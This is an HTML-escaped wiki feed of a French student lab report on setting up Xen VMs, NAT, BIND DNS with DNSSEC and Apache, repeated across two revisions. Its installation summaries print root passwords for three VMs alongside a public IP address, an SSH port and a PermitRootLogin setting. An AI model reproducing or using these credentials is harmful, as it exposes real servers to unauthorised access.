SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11983</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11983"/>
		<updated>2026-02-02T00:04:45Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Etape 3 : Création des VMs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
